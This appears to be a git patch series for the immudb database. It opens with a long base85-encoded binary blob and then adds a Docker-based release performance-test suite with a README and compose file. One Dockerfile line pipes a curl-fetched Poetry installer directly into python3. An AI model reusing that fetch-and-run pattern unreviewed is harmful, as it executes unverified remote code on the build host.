z*zX>$w*Puc6DZieowWz2N!?<-C38dL7CM86iF>Q=*@t1m;yOs4>oNicM1x2SF_W=c zKfXT_5z33KdxgLWlG7)|Q8fAY2B%3W$z8fRJ+kn1)}MDPHB)D*RFcUO7g~!5Y^|*I zBS#su+@jH;DTdjw>n3eNBRKhmr#DMfj*~lo1HW8Ss<&;mBFtW2Zni})Y3Sp069fv7 zT&ht?*Yg}@U~y7IU#qB`PWNzR8qg~@#?GxDOPta4)xT!H(!o%)O#g(HD)@r8fOVlyH%Y_N@E@YdSwL5n=gF0lkFG9S&nS5zb z(3^@I*?XOZwGbkJk4qGTccDd3)lB)%y_&Oa3$tRABjA(80}0cZ!&KZ%3;26=rT;KD{&w+=i>mhaw;SdkIde#QD`wL%KzUjC_r>9ru&N^3 z(Nskf^L_l_IdQ)fL1e+Zw`XsF{a3{Z98yS%={9P$(yy#e>mP*Mu5A)@-eo8B!^c8UL1i1sj?@sf6PKZc*^U?uXa~jK4kp!>Ow^*+~oW`N_a$#+$Up9Jmst zIUT48B)ryqS<$WHMC9hK%jS^?wjatn&YgLp&b&Jkyu+wya3vvz|6G*#_DwT8gGM@e zJP{{X*?fx?B+ni9o^G|_F#ELVs?@H0`&)iTRd-@Ly()6u4I7lMQjer*rwX~_{&#(4 zGg~PNvF`;l6Y8C*hKP(U{93r%GPm&;+a9`;1aT7uTP>1RTQvVmqW*qaJy_tvkRWgr zLnVhIr`d=thu%_K_Dn>h-Zn13DQ*!BJCTFC*-)-{5d%OzYUTQ29+}~FcuBro@#^)8 zMdt_k;knU2@FMFoWH16FgC~Cbi=itq9m!8lXvP9wE39P;UK&G^{u6z>jMb4WIeom| zNr-b`V>YMv{i0oWxg5Z})`xK-K3x|HXJiThuVQrD)u%F`mS}4{g!NIi`RB&Zm-bUn z%on_WhwsbnG-J3yBn->kt(w}jSWVMANgw`h<>6&RKaT-HcaVD8$c@ z%Wsp?m8b{QYQOq`GXrLjB9VEqbzL~3zaXL~B#%wg5tN4>|kH{xMIO6X}Jc3#g zQ5?`HVVSU7*oc1-sX2TdgssjuDdK}S#%j>Pky@_;J%RC$13+2LFA-)xU>rPYbdhto z3I58_kf%B;#wPy}s;6~1?6FBx5@oVq#1*LTNGuGN_2!HrQ(H)X^T^@=MX+H>Zqp6z z#U~i0)J9NApkW;`3%T zbR=LI=yaGB5bzP}SNx9~{Kt}C=nsNf=^T*7a~SWeTPC<~wY};aQHWz8Zy%b-`=bRe zNPiZ`Yx3(VTqDl?H6=+IJ&jCdhXez#-w|awYM1oLX+=hzPCDtWQ_)nR0$1?K#Ln(~ zXY15-C154F)t`PN0y-zePal>>{0;mi02^Xy*qd8bep6_QQej{=6?SQ$ig)_$KjvE^BR=kB5sgYP= zVGN$qgi)w3^OC(&;2+BdvS$HX_!QOhX_TG02oen<^7)JR6W7t$4C)8~T^lU|9ag}{ zZk1p^8|yUUG(i5ejp15hXaP1~#=XOc@5?afXV~ z`YPy+yHzDpLJF_hEmnV;j=a+Sy7e7M0V!PM#yuI(NL;(JO~+?hJhNa zIjY}GI}W`>l^ocnBE;}#?YPCohs96q*;N}%icyx2{XYQ!F#pf+#5*enc~gzVSYT(Z zjMo1!xDVL_30R8{udc$x=j-eH`{Uy~R6onmPBP8Q4xL#kOD*?w9Be?yLj^b>Icc&A zlt0x`1@F-3{MTu)-+Nh^8i15OxQmDzi3p)8b>+uF3N**x280YTfB@{r1l|DQnz0Lr z;D%}$IS0f65}qjWCLu9tTcbgZq}s^l2rOeKmLO5>e;IxyExDD=*a8~Whb}xpUcmBO zf16BOZY$&)z4a@#v013Ccgq(0BkJ3d1_X5YDONJlu&Vw55*=lnL`f7R{7OP64F?h7 zz$PFe9@G}BD$ADWud^c02V zmP~AS<4{?wWyQQS+{)4-tw_d*&pRMOaR$pMlX0!8-vnB+8qA0zqafieZ)jC6W`91c zrNOEZg6}zkaBhi-Q_;`Z$*HdA=k437c=@sXJ=(A!@!(l!Q$=!NPwW>Lt2P5 zl5w7d5x7{y`T6r^Wiba1`W15Qb1u*j6`Ot2tUjK{gv8H~JEaO;Kv6Cvv~DVpmUzQ2 z(pUxW0z;L`%{<#w70fju(N3H{hDbhTr{)yrH8dS@gX9y;N_cMad10_W$R^vE3HMc6-{q?N|FZ?86+P4QP`H-vTa0 zo-Fj4QMU-*s~Cxh_eVJid_zQ_?8~u5MkE4gF&^{3$w*pM zV6~SvLZrbjtzOP(xdL9e7Yg$VOuTJoqifR3@dNTcNEjsyFr%#YOSK-`-H2Uk`m+}j zt!EvYGN=GnXj;}cWDQ6S_c@2qfHu;3WSVche=7I2V44{x(1yp72q6NNagY8F$MQBT zUAUh;N5~y-o6Xqr!hmf_&6epXA_x*FFW3I9w~97gM0`2tcT#=+3r|6&txr}GBEA$N z(6qcEB2zLvWoowANO@V`ca)k5@#89_w1R6&L}rkx2kU40!)ms#Jm9#`Kuce zoAwJlP^T7O1HwYWwW=CwD(pynG)_HE;egvb286gQU9tX4w>p_vL~x60e7RwGLM(#+ zmv$ujuVX`cc&VLh*+Iz<#|kD1>(Mv_sZJVk*07)Mg5v%F+PG&V0Rm#mQ}_E3w=mK<{G;hZD1OykM|J?8(G~U~Q z$|8_P__fdFG3r%HrvZv3S<6N`A)>S~0?W_jX`np9-qu4`Mlji&-r>$%Ygf@c!N4a^ z6e4zs>Xj;Tmnt4>bh{;!?5BMU2}m1HNk}A~l2&5bcKh?}6Tq!+`+W zYF+ZAqnu84_9|~plKW6kKyddGR)_!+CfG+;=N+?l`TZHirmTZ1hKjeM)qRU;g&>_4xX_1z$G9S7S^- zNH;+tp-2Hgy8bdmP*vem#bKN{+d{bHOM?Ejc+;T=;SmCVl$?LMqxGU;*%J}GLoTla zVl}F@$ATuc92}j5o09?$x38MCQ^i&P7tGgStISY|#aj_P>s3Wtp6>bQ5TQSRill*n zm9d5GQQL7@(4dPDF%QnqpGAaW1WyEq5j_mcixF!@&^O>r` zrV8ay^0s_Dr{JTJHY#cfBvme_UGrbBoSnDXixSy@N{&@e2jqU$T&En zovU-+CykVOW!*M)@I3OguehG5ZK{y9CwUC1XvB%1 z*8JY|<)o0qM#V<%FS89tgw;?a@km4&Ot{>^xk6kjHb2~0JQM=~;R_B!C4{<8!^xGI z3lh#K`{$=55%kxh5&G^01$c|PyZrSr0*J(2;?L83fe2-a)M-%|>ZG^x+vUW0s|2rC z^S20i9YcYW2Jp(37ITy;XrN9Umj0*wB3tL3jWvnOR48__{aqxnU98=i?E-8Ou#p79J7|h2Sk~@=93wcBx_y zi@vZADr(Plg@nQs8Y>iZb4eRgOCFpY?p3mjMEdQu=K%R&?wT15Oe8?5ETI5miLR&H zEt;N|Q;r{cbT#~?dC~B3CCB2w7Ho8iULwv*zqA`$&(A*`!$Bz?d=N_VU?x)Nb1?#l z#B)d_R3{!vN*5d+CUB#hzI3lhKALp84IqJUlKDnnqqK>mdxQt}G=?B>NI`6cUIHE^ z=xS(U2I?PREex=Q$tbLFUufD66>cpX5-LaM`x2qY4@ClYyw ze9hs3yj&-f`4*l9_$x$G&toldmt;-o>Fz<5dpstOugDf6>6#SDXz zLpVGKi0wHXBvE-`S!|7(%LXE1g=PNAWiMjCY`Ga;s-DvB}%bA!Mrn6K=8C1^F$JrpT4escghaJ@y*0HLq6CfZUCQ|ld@HX3HV4H zVV9!@)4DawX_Ykix=0;3V)I3;bZq+%pRHtdT=%HEs)!E6g_UPK}6yh5Q(NF1=S+c!r>ts zZPCv2E007ywz5Y*=xor4Bwe9towBv(BL)D}+8+$xtZ9)m>{8!5sv2tPnut)1H#4RH z`Plq7luB@zQ1NZylzr5${^OS>BSoq=e2Cye^5M;~h}p+tv8vxb8j!%WQ3Zm`j&Z!x zN1(8dw3e-iFbSh9;F8Stc1a!jtjxZ~1B$tdyCjXGf>JA47NVM}Mr$!&dmiqcKsSM3 zKi%8usoT&vU{gHML_{${@(7i;&NM(7kqjC1=JMSS&cUJd4(zb5{_~f}8)DTH^F`r8 z63~lk5ng_DX(Q@m>t2XJ%YeKE5hg%T!q`xKal19SV{`0bq>4;JJjxAX3GejEd}sOS ziut;6CChg$I7RrrwBl}M)R*KR28hU2vvyRCw$(7*POuqk@7F-7VSl7900^HqDh&BE z?`0Xi`2pdKUh)#4NjAFU4+;?>>d#yR2!P>KyM&?3*Uhn?wJtoSq7anh2QQ;W!&9t1 z4XZG3w@)?Db}*rU-)YD!z&NS+3>gW0X0A0(*pH~feni*U6U+;T1PN(wCa+v2m%#() z4O$0X)ZsQb&A>;Z@z9Ehh6_c}F+8?p=wC_!V!K(=2rn}MqMxKEXnU6jnB&)o=qxrOMBD~x!#~rgN%sNbSeD0mKOnI;^h#5dE=ePA)68o5xekh=fT&aaUgakJu$(VrVA0jf4Zins5Ww! zF`yy4r3uDzuBY4H0fL5aV~C;{2!!A@O8`1Q;;k z#rkh%j7~&E5AP!siP3rm8cLa}V#hO2n03%>i?p~%FVRgq68HMiXVi{pZ$|jEk>tZ5 z(FBCLaEKuLnK(#rdeHV?lQ(ep&*~-GLj=Z<>|BfLlP`d{w1LJdC7&pqfak%WjA0RR z=Mh1Z>{D245P?7%dF=~SFqCo`I6B5lMW0wq`N#YWJg`s9rQ+mcYoDMw5pZnx87SjKRO zaLiIEAcB(eA&(%Dw)s8qpkWZOl89=L_kR`H6XjNJx30s3EA}((tj-(SS)vbSMUpB} zUBdfeK_VuWers$wYrt3Sbp-^pWgup)3`1I7!Y2_Ww2=|My zl+zay4OW@|9Y8dLL`4lM?TZcV`j%cp(+m-4rd*tDNU&UTP7}Rp00`JT*?t2M77;?4 zAE_+W;l^!wnXh%nL148HG`CN+Kik%EohRsXKy4ZiSnd1Pi3m8z(-RWS%JbsA2^S zsq#nmAbMGcse-Bs)Z8*2aO82{b&ka*jbNM>RT`=zX}DF4ybmN=4mhQMD@0(B2wl|Q z7UVP}_C-okUhZTXi6QaPCB79(%UfH3CLtgu^Kv@>79h}b*@W-}2h*19B~qL3-6+Q| z^=jpUfK+BzZi%PUo+3;}(eR|3R|daq_|ADqw7Bf&mz;35mK$sCR?a>a;atOl0{fQq z^YGK9Tm|!0Ysd6cm$LjsaUG_N|C4tu%!x8f)Le)p87P$aqAb)%qS3XIUH|`&yL9)= zFfWjR(XW)P+DB?%S%`+^@z#vA$1_4T9Am$Vk3M)U+08elu)>C z3kYayz{rfyj%Wyqncfk&!1=ge($#n^RUGS6g=J6SP8zWc5fzw_(H}kQSn~iufM6E` z1a>#RXu~U~q7vVI;+HxVFiAy@n7Bd&A)jv`%EYW@o&yj)O!As8@la1sSs!N@Qh+R^3^F>iD=i-PIPZ{%W zfPkdIcX+rxfN(5y*;W@BB3>R2%RU@eustr0q#=skFNs15;9>a8{lIM^)q4<)MX-Bm53;t5zn1Rgf``5l0+fWQzzNh1K&66dY?3I<3JhjSSqTYk4X%M2uoke{-O z2_6h$t#*hT;NkKVLcTE2Ev1spiA16cm-Icp3oZl0Y^Jx!sz!54A`#)8b83H2M@c6@ zfWJvHvin&%zn_#3&SavBIpatQSA!5yVuCpjnO_x;{Lv{Z>idDHr7J{|epA_RsAQDj2l35E|rhFT&8i8GmEiwWGpA;+s7hTLI? z2nh$|_4L+w;j#!dN{6pu9X~>;f zr|akEjx1snGi?k)OhU;cYv%w2w-G=j446S%-629t9?S#@QiaA`;pU~j0H)>X^cr6K_& zg3eTiPf>x4x2`#(U=iAuu4r=|xs}{G@`e}l%T7FZ;H?!!5EUW9tNQ0HWh<^y04`#t zpd{uug2gVMcU?S)w4oqEtZ?Z*ie}CL)1g@t8C$eAkVHgJAt_TI^S{p>X{8z>v-8^FK~@_ZZ6>>%kx*QZ z^bVI|I&@0L=JlsSBIW>yZmbe=2DUV`4krW&CcUNe$3{-b^?=wBAVlsM93IVW&qm#9 zVe~Fxz`te67mxp(-qoMty-zYhBvPSKB|0h$`5H`=-;LGJ%99S5Ho&o&NJLR)L}5oj z;9p8_EX(6+tdtEp9&Q_eHw|o*dW^PwP?=cj+n%hc(##q>z5m2RcY}G_SS*~o;AYM! zXr;dBm)9KmfV2TQW3rjk$W*dkcLPM^8##jq3C#wG8(X)B#Gs#YD-t>)&#WWzHHAh) zT!;_!{!8DvDOz}gT}b#eEXs_x?j&Nw9Q{e% zN(ASx+d_g34jC=?U}r1mTRxib6>|-;cViFC!K_x?a0VQv?CLYOXr+OX>c$4;CE4&S zSmkF|R*ANX)-aOCXKa;sdc=jTR`e1#fx+UC0I>)>eh1bw*1oUOeE9wPbFzDs=C_8e zh+GlZXr;j`(t1ST)D-57`Da&FN#46dhnEkYjaSPHf`qxP*DOHvb96Q2fJmXtfV8Bo zg5GL~;6wrksb0yda-xY5=9ml|bh36fHj^3?J#44{3$dFKh3oFDGI{YT8W38Rpo<9E z;is9y8yquoOD|#o2LzTI>gg{QlOlb4Ap(g6DH7?QuU%>u8)grDmh){;V?N(cYUXmN z&IrS3yzWLK@S;OOB3Q*>i+-<-k^9u14Ss|NTZBvamSo5sRW&U zr=?D~oZvOX1CC_wk$j*QzGp5#lvi7Ow}=RAZD?|n=4p9?R*G)8UzwC(kS;6=&tw=r zy>%`#l1hh2^aXib(E26o@8M-~miV~ZF9#?11cQTZ8Nr7Ia$2t_JNpmD88?wLyqg4s zpq6@PgLuSfV=x9Mt;DDj)v$LmMW+ot5eDPI^%Tr4^N2QdX6U#irNh{$OL^UB|2sRO&b4CL|@a{E2 zLev=;CKz4U$o7XA7yVR1fSwZKtlug>C{_Wm2hOD`14{fBOJ1yhIPx{GbiXtw zwM(hWu*COn7!U=uoD5ebBIFpA4G3GULNNrwDO-7LhL94%bRwFxl zgb8oCUGNp2Y?1F_!)v?W@AH(~2owP%u;?e6)~yZ}Ac9-Y8KhdO#Ri|yF9<_=npUO{ zMb4;fY9t~=bj%rCs(fiMDu-!5Thh(W3~NtH1jX0t5hnG4$Pw5igKqbv%Yo?#apQnM zYPow{7+%PZXz=xF+ehHf9-ayjVbrnCXci&Lrse90UN9&wJnjzY3`6{JdEDo_G+W`5 zrMrB8gfv3Nh5D%$4{S(m8T`gcge*3UQOn72F|*Rc#9HE^oZ+8f5%bSZIirXW<4UR0 zRdGnsk#SF<#kM~f$f{z1!_dnmjz$momKWFvEEOvuDp6KjGn26RhLs4d*w7I%@m=Y` zVixr|1LR5w5#ieJR%iG$G}W{}f!zo+jldV1Q(`zMW<+v7lQ97k2Cn(iS%?+k1)|H+ zN+mJ6zTBo*sl2$?uTqeJ|Mo5!$|*(E<_zq5LWub2($ApFlEW(P+O0hvGFfPNgC*t; zd(Vp|AmOMZ9Q{Px@MCaAy$UDRw^lEmml-!6B49*fqexT*A{;elku#E?-nsk8kCSMQzRiUI`9`VU)C&B3eWUHB6*Oj){UJm~(jfVv%Jl&AAZM3|)(Lx5uuw zqI>aPSCT0b)gOE3*O78Ls5KE zxxofSI8l&f0V24AltCrIBvU;DY(V4%*WArq{frZnGGQ1-(R_X32q8wH5EB`gP+61u z-XYIHs5%^ksRWozkhJ;W#zP>MbbEJzh}WHzsM48b69I?gZ3T0e)C}b#uS^miBHp@H z89~eWSxG8)+ok0m;d$Jwj9b`&Yko#8F*hCpzNH)YZXXemf{1ii1hKT7EB80$1f1678DQa^`e;8JFx?&mlRgbL z>x>hHC&CO%&(B@Ja+E~$1rm8;-jU6CF+yx*25&z?7 zqj!#}hoIz5XzVo>mRmCpKFytUwn(5u6heQXBQ!r000j!NklI{5wO$3hRp0A`xcc35VKFkqDv@>-k6Y z^QNZ?2#$%Xr4Hde$X(PGhzH}s4v+}D@N7ULXtytXN`7uzNr3PZ3raMEt+KGhl8LXToqg)wCo<$w)<3Qs!$0TE%oam%{)5bDwqv7!245h@HUhwaGP( z-8<{a?z^ki$~9r@n0xEW+Cv;Y519CNL5+DBIr&v;!8Qj(zmIU0i0;|&;bY)!VHwz< zkxuED>H^`Ixchn;CK?k+zeTCG|3O^dY>|kc-B#Pd;?_LuCJkG=y6pwhBat2uL$nuc{nZ+h;N| zG0y^j5243xo+lOx9z8#No=?TM*5w8chub^|!*s(y;8EcJwbP90suFV-D=fLzK0x5^ zRt}>k#y-Wm6YDA-x;L)+G)lCcgS^ebN$D`OnNq|gzq#2g5q}?BdSOD>RLkcmo$@gE z1fsmOX*@^?Qel0?*Uz3@)K@S%A|AfnMI0Fevp~RAVk0VXt1U-BFZSV%r9Wc#egD{3 zt7M}IW2rXddu7}Rner;oz^{sdRB($$dGFch&%=E-b@x5o?a~wf99kau0R!; zGz)#w45myQ39B#X-McWsQi>Qg5jz1DYXn06>X}jJr@Ji?nI5^R;l`g^)f$y|2Op3~ z^NaF;k`i+ad9!tcG00DDo^f|ZooAZi2vb^*6PD%ZQdFZ>TLKbcBXV5MP2}hxww_}& zwmxy9(38z5IztP8!f73G<4r`WN2eLwB`7u{IF1|_a}#*o13C!72ngKzL?V9eJ3x5s zW*iYQYB51oR#98lZX#&7iAyk{A;ka%v3W_^*w%RL9XM3xot|%#luYX}`D4-q!nq07 zjvSW=9c92E2Qg5@o|k5nQ3!}g#;MBIB3P9l@uC$utT%sCCUU4rrG`O@K?>p=5eS68 z^adi*^JPa=l}DP@{+LD>IvQ@`Etvow!Z4$N(J5K}dg=qhJMXNBkb2DCgk(LXaS5RV zm}t0(w_?KaU^5H~82tsRPqXvRgN`^)gcA|{J}Z(LhK}?tH74i>-~j{#If(WG?!>1q z5wHpBn|B^^jk7~dQAG4F1QZRCiDu}40`rnkV15ylJdl7mE>Qh@>OJGvZAmerUlOk+KSh;g0`x@OWC9e$ zY)_G+dx+Bv^#k$HOGI~8KHShZRem#Z_WA@A5#o%ekt|X#MRCjoc#6qXI2^2eFfyWe zF`RtmDp@l2d*$oP73ffXm5@ zSt8PNbA`^29KhD9NLfdbrQtCY;41>aViXriZfSt0fO(+Gq6-c%c*pgbvvhvB!L?Or}j zJkB>@Lh&FyEh5g;IY3xi6riGAWOx~U#JF)8W7ixQfCiW@4gU~079h1KaX|GzIGkEO zc67VWXLX)Rd2;x%JUc;IS{_8rLnb0=jQyJZYQ%sF*sTnQxoA2M8)`Jr zpinyy4*sbIw#cw~$J?N-Zg5H+#0+ur8U_#$SjKidSU56FH#ttAu~gVJ!DN+G3_EDJ zufkh61Tb>4^~Xr#ZOQr;zX*)uiw-GgL9pNJV}1Z9H<#asP(jtU`N|2BdF zDphbagC7MvTs@JELc+??u^ww1k*3`1%rms4GEPyhM@d>CVF(6OL`M z$`n}n3IENK0FdBVD_UZIVOj5L%&J|tf7Vt19iLFF91;;uK!`Iu9FBS-7kHqrCZqf; zC04g+ac2ul-@{uc)Ih(G03ZfLgbNrftK-Gar02SKn@2ZY+;A7h(q_d%!g5~i`dCN= z-T4u2J7X|l)B?is;C1%1Jl2Wlfdnn;@Zo(=Kg{VkVa@Foxb2S1Zr z0%B2NId?PTC>SZ3wvkBSa7KT73Tp<8OhqQ0c9#=lTDBjHvPN?5W-3b7csch@tldK zlx8eSgzGH0{JY6(ASA~FTFD$Bs4}&njJOsMDsmBnW%0a-Q64fUAeNF5R|TRl5HW(8 z1CIr%%4KE5Re*34={QD=VAkP(Qk4r=Bd!QU%rVDElX*aph*(xeTqDaUJ%oTenC1d; za#9VMzl^v-9ir3_fmlF7oSjrd=2;}VLZwo$1%VhbsfNsli0hQD0f=-VAV@?kEAg%Z zM21<04i^C8mVj7xdDs;gj5uZ)2*m8+l#)tQ%Mx*gY*)bz8rDO^3jl$WYDh$U@Z1JO zL}9XJfS}InkFQ%$L}X?WAV@^4AlX$QBD7gRRFa5TiHkrHk%kKZK_X%eE&}q5!sw-d zAQADw%@r%PRh2XMGDt+MCDBmmA{Hq`kce1A(2(FFmWmnFi@ye4DT^OPMk0c&3>pGz z5eDwvN^WU?i|j^%t}OBeTm+7ZpeC7*A2gKs@gqxvF_%7$Xp$iyRuMD`kd--!2(l{E zfXU{XLZCKZHb^XV=X=c>QnQA2JL37 ziwMSwBAqpRjCM0tmVDY&W8RhqjVD}J@~QZbcvc0Q?nzi#@`*&G(?f=!%GCPG5pghG zM$kP8L<9jrM4ZSn2nZsgbNLnlu|^{D$#n=4mFvtt^NB4}REJn05ll=XBH>I?>3WT3 zf6j{{)suERX>)6pM98QpeD8h6OQq>Dwv`eAyWyT2U6ggMnh5Ba@!Je9FNG%{R-0^q zv`l;>2Jx_3gCkuYC8`82T#y9B%ELx6mI&)0AjhDHv1+qxT!f>-hUEbr1mzej4;v!N z#@rI0xD-Rsof%tj68gN8C<6v5h)p;N#m}Acb3Blu+)4t)hB!Ku;16+Y1~KPvbZY(p00R zL8`5Lh^%{{Hi&Ho4!ih9hcQ?fhZYB+B61I#_7XPbVBBQZKV;w>A|(Z>hmE@l!IT9- z!3P^G2nRC2K!5=agaa8u0hfIf4P<0wWMpJyWMpJyWMpJyWMpJyWMuEd?#~&$MOy)2 zU)n4D!VmlXedG6Q{fIMSWPKcz>yOL3Z@PhfzjxTTA1PURZSXkd-4%v??FbOkRT87j&qF*)9^|uD3v2B&+tkGi4Rt?e0>{_v9FP%clrZ@QKK;n z4%*pRB^q_@88`SN4Bm;x#sBW#e1`0000Swagger UI") -} diff --git a/swagger/swaggeroverrides.js b/swagger/swaggeroverrides.js deleted file mode 100644 index 7af3034200..0000000000 --- a/swagger/swaggeroverrides.js +++ /dev/null @@ -1,24 +0,0 @@ -window.onload = function() { - // - - // the following lines will be replaced by docker/configurator, when it runs in a docker-container - window.ui = SwaggerUIBundle({ - urls: [ - {"url": "/api/docs/apidocs.swagger.json", "name": "immudb REST API v2: Authorization and Document API"}, - {"url": "/api/docs/schema.swagger.json", "name": "immudb REST API v1: KV and SQL API"} - ], - dom_id: '#swagger-ui', - deepLinking: true, - presets: [ - SwaggerUIBundle.presets.apis, - SwaggerUIStandalonePreset - ], - plugins: [ - SwaggerUIBundle.plugins.DownloadUrl - ], - layout: "StandaloneLayout" - }); - - // - }; - \ No newline at end of file From 6a03d853e43af637a5d2bbbc773ebc0c7d031e99 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Fri, 26 May 2023 16:34:33 +0200 Subject: [PATCH 0596/1062] Imported file from test/web-api-perf commit 8b04a37 --- test/release_perf_test/.gitignore | 1 + test/release_perf_test/Dockerfile | 13 ++ test/release_perf_test/Dockerfile-141 | 12 ++ test/release_perf_test/Dockerfile.tools | 16 ++ test/release_perf_test/README.md | 104 ++++++++++++ test/release_perf_test/docker-compose.yaml | 55 +++++++ test/release_perf_test/doctest.sh | 4 + test/release_perf_test/runme.sh | 178 +++++++++++++++++++++ test/release_perf_test/startup.sh | 79 +++++++++ 9 files changed, 462 insertions(+) create mode 100644 test/release_perf_test/.gitignore create mode 100644 test/release_perf_test/Dockerfile create mode 100644 test/release_perf_test/Dockerfile-141 create mode 100644 test/release_perf_test/Dockerfile.tools create mode 100644 test/release_perf_test/README.md create mode 100644 test/release_perf_test/docker-compose.yaml create mode 100755 test/release_perf_test/doctest.sh create mode 100755 test/release_perf_test/runme.sh create mode 100755 test/release_perf_test/startup.sh diff --git a/test/release_perf_test/.gitignore b/test/release_perf_test/.gitignore new file mode 100644 index 0000000000..138568a3b8 --- /dev/null +++ b/test/release_perf_test/.gitignore @@ -0,0 +1 @@ +result.csv diff --git a/test/release_perf_test/Dockerfile b/test/release_perf_test/Dockerfile new file mode 100644 index 0000000000..6d98adc505 --- /dev/null +++ b/test/release_perf_test/Dockerfile @@ -0,0 +1,13 @@ +FROM golang:1.18 as builder +WORKDIR /src/immudb +COPY go.mod go.sum /src/immudb +RUN go mod download -x +COPY . . +RUN rm -rf /src/webconsole/dist && mkdir /var/lib/immudb +RUN GOOS=linux GOARCH=amd64 make immuadmin-static immudb-static immuclient-static + +FROM debian:stable-slim +COPY --from=builder /src/immudb/immuadmin /src/immudb/immudb /src/immudb/immuclient \ + /src/immudb/test/release_perf_test/startup.sh /usr/local/bin +ENTRYPOINT ["/usr/local/bin/startup.sh"] +CMD ["standalone"] diff --git a/test/release_perf_test/Dockerfile-141 b/test/release_perf_test/Dockerfile-141 new file mode 100644 index 0000000000..92d6117154 --- /dev/null +++ b/test/release_perf_test/Dockerfile-141 @@ -0,0 +1,12 @@ +FROM golang:1.18 as builder +WORKDIR /src/immudb +RUN git clone --branch v1.4.1 https://github.com/codenotary/immudb . +RUN go mod download -x +RUN rm -rf /src/webconsole/dist && mkdir /var/lib/immudb +RUN GOOS=linux GOARCH=amd64 make immuadmin-static immudb-static immuclient-static + +FROM debian:stable-slim +COPY --from=builder /src/immudb/immuadmin /src/immudb/immudb /src/immudb/immuclient /usr/local/bin +COPY test/release_perf_test/startup.sh /usr/local/bin +ENTRYPOINT ["/usr/local/bin/startup.sh"] +CMD ["standalone"] diff --git a/test/release_perf_test/Dockerfile.tools b/test/release_perf_test/Dockerfile.tools new file mode 100644 index 0000000000..99d60c7691 --- /dev/null +++ b/test/release_perf_test/Dockerfile.tools @@ -0,0 +1,16 @@ +FROM golang:1.19 as builder +WORKDIR /src/immudb-tools +RUN git clone https://github.com/codenotary/immudb-tools . +RUN (cd stresser2 && go build) +RUN (cd paralsql && go build) + +FROM python:3.10-slim +COPY --from=builder /src/immudb-tools/stresser2/stresser2 /src/immudb-tools/paralsql/paralsql /usr/local/bin/ +COPY --from=builder /src/immudb-tools/test-web-api/ /usr/local/immudb-tools/test-web-api/ +RUN apt-get update && apt-get install -y curl && \ + curl -sSL https://install.python-poetry.org | POETRY_HOME=/etc/poetry python3 - --version 1.4.2 +ENV PATH="$PATH:/etc/poetry/venv/bin" +RUN cd /usr/local/immudb-tools/test-web-api/ && \ + poetry config virtualenvs.create false && poetry install +ENTRYPOINT ["/bin/bash", "-c"] +CMD ["echo hello world"] diff --git a/test/release_perf_test/README.md b/test/release_perf_test/README.md new file mode 100644 index 0000000000..adbfcb40de --- /dev/null +++ b/test/release_perf_test/README.md @@ -0,0 +1,104 @@ +# Performance test + +This utility test performs a set of performance test on immudb and outputs a CSV table that +can be easily imported in a spreadsheet. +Both immudb and the testing tools are built in a docker container. Docker compose is then used +to run immudb and the test. + +# Usage + +## Quickstart + +Just launch `./runme.sh` and come back tomorrow. + +## Script usage + +**Note**: We recommend using `screen` or `tmux` to detach the session from the console. The test +will run for a very long time and you risk a disconnection will ruin the result. + +The `runme.sh` scripts accept some options. Please refer to the test description below to better +understand what the meaning of each of them is. + +```sh +./runme.sh [ -d duration ] [ -B ] [ -D ] [ -Q ] [ -K ] + -d duration: duration of each test in seconds + -B (nobuild): skip building of containers + -D (nodocument): skip document test + -Q (nosql): skip sql test + -K (nokv): skip KV test +``` + +By default, the duration of each test is 600 seconds (10 minutes). You can change that with the `-d` +parameter. You can also skip a test section with flags `-D`, `-Q`, `-K` or avoid building the +containers (useful if they are already built) with `-B`. + +## Result / Output + +At the end of the tests a table will be printed, in CSV format, like this: +```csv +test;client,batchsize,replication,Write TX/s,Write KV/s +kv;1;1;no;31;31 +kv;10;1;no;261;261 +kv;100;1;no;2218;2218 +kv;1;100;no;2717;271700 +kv;10;100;no;21033;2103300 +[...] +doc;1;100;async;14.9457;1494.568 +doc;10;100;async;16.7671;1676.706 +doc;100;100;async;18.2019;1820.194 +doc;1;1000;async;11.4383;11438.330 +doc;10;1000;async;12.8969;12896.903 +doc;100;1000;async;13.6866;13686.639 +``` + +This table is also saved in file `result.csv`. It shows all tests performed, with the indication of +the subsystem (kv, sql, doc), the number of clients, the batchsize, the type of replication setup and +(finally) the number of transaction per second and the number of document (KV pair, SQL lines or JSON +document) inserted per second. + +## Test matrix + +Three set of tests are executed: key/value inserts (KV), SQL inserts (SQL) and json document +insertion, using HTTP APIs. For each set, we execute multiple runs, with different number of concurrent +client, and with different batch size. +We use runs with 1, 10, 100 clients and batch size 1, 100, 1000. So each single test is executed 9 times. +Each run has a fixed duration, which by default is 10 minutes. + +### Replication +On top of that, each test matrix is run three times: +- on a single immudb instance, +- on an asynchronous replicated couple of instances, +- and on a synchronous replicated couple of instance. + +So every subsystem (KV, SQL, DOC) performs 27 tests, each lasting by default 10 minutes, for a total of +81 tests, or 810 minutes. Plus startup/teardown time. So the whole test procedure can easily last 14 hours. + +## Immudb Version tested + +By default, the current immudb code is compiled and tested. It is possible to have a different +immudb version, by using a specifically crafted Dockerfile to create a custom immudb docker. +As a reference, we have the `Dockerfile-141` file that builds immudb 1.4.1 + +To use the custom dockerfile, simply set the `DOCKERFILE` variable (i.e. `export DOCKERFILE=Dockerfile-1.4.1`) +before running the script. + +## Docker architecture + +We use docker-compose to build and run the tests + +### Containers +The server is built using the `Dockerfile` in the present directory. It compiles immudb from the +very same branch that is checked out, adding a startup scripts that takes care of tuning the server +startup parameters, creating a testing database with correct settings and, if required, needed replication +options. + +The client docker checks out the testing tools from the `immudb-tools` repository and builds a client +that contains all the binaries and scripts needed for testing. + +### Running the tests + +Docker compose "recycles" the same server container for all different replication scenario, just +providing the startup script with the correct option. +The test is then run by providing the client container the correct entrypoint for the test that is +being performed. + diff --git a/test/release_perf_test/docker-compose.yaml b/test/release_perf_test/docker-compose.yaml new file mode 100644 index 0000000000..140e477c96 --- /dev/null +++ b/test/release_perf_test/docker-compose.yaml @@ -0,0 +1,55 @@ +version: '3.9' +services: + immudb-perftest: + container_name: immudb-perftest + image: immudb-perftest + build: + context: ../.. + dockerfile: test/release_perf_test/${DOCKERFILE:-Dockerfile} + immudb-tools: + container_name: immudb-tools + image: immudb-tools + build: + context: . + dockerfile: ./Dockerfile.tools + + immudb-standalone: + container_name: immudb-standalone + image: immudb-perftest + command: ["standalone"] + + immudb-async-main: + container_name: immudb-async-main + image: immudb-perftest + command: ["asyncmain"] + immudb-async-replica: + container_name: immudb-async-replica + image: immudb-perftest + command: ["asyncreplica"] + + immudb-sync-main: + container_name: immudb-sync-main + image: immudb-perftest + command: ["syncmain"] 